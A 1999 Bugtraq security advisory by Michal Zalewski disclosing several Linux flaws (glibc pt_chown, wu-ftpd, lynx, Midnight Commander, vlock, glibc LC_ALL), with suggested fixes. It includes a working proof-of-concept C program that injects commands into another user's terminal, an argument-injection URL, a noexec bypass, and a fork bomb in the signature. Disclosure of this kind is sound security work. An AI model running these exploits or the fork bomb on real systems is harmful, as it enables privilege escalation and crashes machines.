From: Michal Zalewski [lcamtuf@IDS.PL]
Sent: Sunday, July 04, 1999 7:39 AM
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock /
mc / glibc 2.0.x


First of all, something less or more personal - sorry to all secure@...pl
people for this post. I'm really angry, as this stuff become well-known
without my knowledge... so, only a few of my own observations, always
trying to respect other's intellectual property.

All the best goes to el- :P

----------------------------------------------
glibc 2.1.x and Linux without devpts mechanism
----------------------------------------------

Compromise: locally, privledges of any user (including superuser) running
            programs without devpts support compiled in after glibc
            upgrade (like screen, mc etc).

Solution: chmod 700 /usr/libexec/pt_chown

There's a bug in pt_chown suid helper program, supplied with glibc 2.1.x
(tested on default RH 6.0 distro). This program is designed to allow
proper allocation of pseudo-terminals for non-suid programs in systems
with glibc 2.1.x installed, but without devpts support compiled into every
program (it's enough to have, let's say, screen which uses traditional
/dev/ptyXX and /dev/ttyXX scheme). Due to lack of security checks,
pt_chown can be easily fooled to gain full control over other user's (root
as well) pseudo-terminal, as allocated by screen, Midnight Commander, or
virtually any other program. All we need is an open descriptor to
/dev/ttyXX (in read or write mode, no matter) - while login uses secure
permissions, ttys allocated by eg. screen are 622 by default, so we could
gain write access. Then, we have to call pt_chown in a proper way to gain
ownership of this device, and put anything we want to the input stream of
process controlling this pty using TIOCSTI ioctl()...

Automated exploit code is attached (potfory.c). Sorry for polish comments,
should be readable anyway? If not, there's 'primal' exploit for this hole:

-- simpliest.c --
int main(int a,char* b[]) {
  char* c="\nclear;echo huhuhu, it worked...;id;sleep 2\n";
  int i=0,x=open(b[1],1); // Expect writable, allocated
                          // (eg. by screen) /dev/ttyXX as 1st arg
  if (x<0) {
    perror(b[1]);
    exit(1);
  }
  if (!fork()) {
    dup2(x,3);
    execl("/usr/libexec/pt_chown","pt_chown",0);
    perror("pt_chown");
    exit(1);
  }
  sleep(1);
  for (i;i<strlen(c);i++) ioctl(x,0x5412,&c[i]);
}
-- eof --

----------------------------
wu-ftpd 2.5, VR and BeroFTPD
----------------------------

Compromise: remote root

Solution: add strlen() check somewhere

There's an overflow in wu-ftpd 2.5 and prior releases (including VR and
BeroFTPD) in mapped_path when mapping current working directory to
command-line. While I discovered this vunerability by myself, I don't want
to provide exploit code, as all other, hard work has been done
independently by someone else. Instead of that, there's a .diff file with
patch, attached somewhere as ftpd.diff.

------------------
lynx and telnet://
------------------

Compromise: remote messing with files, maybe more?

Lynx has a problem coming from calling external programs to handle
protocols like telnet://. Example: attempt of viewing 'telnet://-n.rhosts'
URL will result in empty, new and shiny .rhosts file. Unfortunately, as
telnet client has session logging off by default, no idea how to put
something there?

------------------
mc, ftp:// and $()
------------------

Compromise: remote/local user's privledges

Midnight Commander ftp client has an overflow while reading server
responses - long enough message will result in beautiful overflow. Enjoy.

Also, mc seems to have serious problems with directories containing shell
commands enclosed in $(...) construction. Bad.

--------
vlock -a
--------

Compromise: locally, unlocking VCs switching under certain conditions

When 'vlock -a' is called, console switching is completely disabled using
ioctl() call on /dev/ttyX device. Under certain conditions, this
protection can be fooled. Let's imagine following situation: user X is
logged on tty6 - oh, abbandoned session ;) while root is playing on
other consoles. After some time, he/she issued 'vlock -a' and gone
somewhere. But, if user X is still logged on any console, and he's able to
login once more, remotelly, he could open /dev/tty6 (in our example, as
it's owned by him), then... use ioctl() (as it's not restricted to
superusers!!!) to enable console switching.

------------------------------
glibc 2.0.x and LC_ALL, noexec
------------------------------

Compromise: locally, doing thins you shouldn't be able to do ;)

First of all - doing /lib/ld-linux.so.2 /program/on/noexec/partition is
the simpliest way to bypass noexec option, if only you have glibc 2.0.x.
Nothing to say, security by obscurity stinks.

Clean glibc 2.0.x, as distributed in .tar.gz, are vunerable to rather
seriuos problem with LC_ALL containing '../' tricks (just like in telnetd
and TERM case). In fact, in some Linux distributions, it has been silently
fixed, while people upgrading glibc to eg. 2.0.7 'from scratch' are not
aware of this problem, and many sites are vunerable. Using prepared
directory with locale specifications, including glibc error messages used
eg. by perror(), luser will be able to for example read setuid programs
memory, etc.

_______________________________________________________________________
Michal Zalewski [lcamtuf@ids.pl] [link / marchew] [dione.ids.pl SYSADM]
[Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};:
[voice phone: +48 (0) 22 813 25 86] ? [cellular phone: (0) 501 4000 69]
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]